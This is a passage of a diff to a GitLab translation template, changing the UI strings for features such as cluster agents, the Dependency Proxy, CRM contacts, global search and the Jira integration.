+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
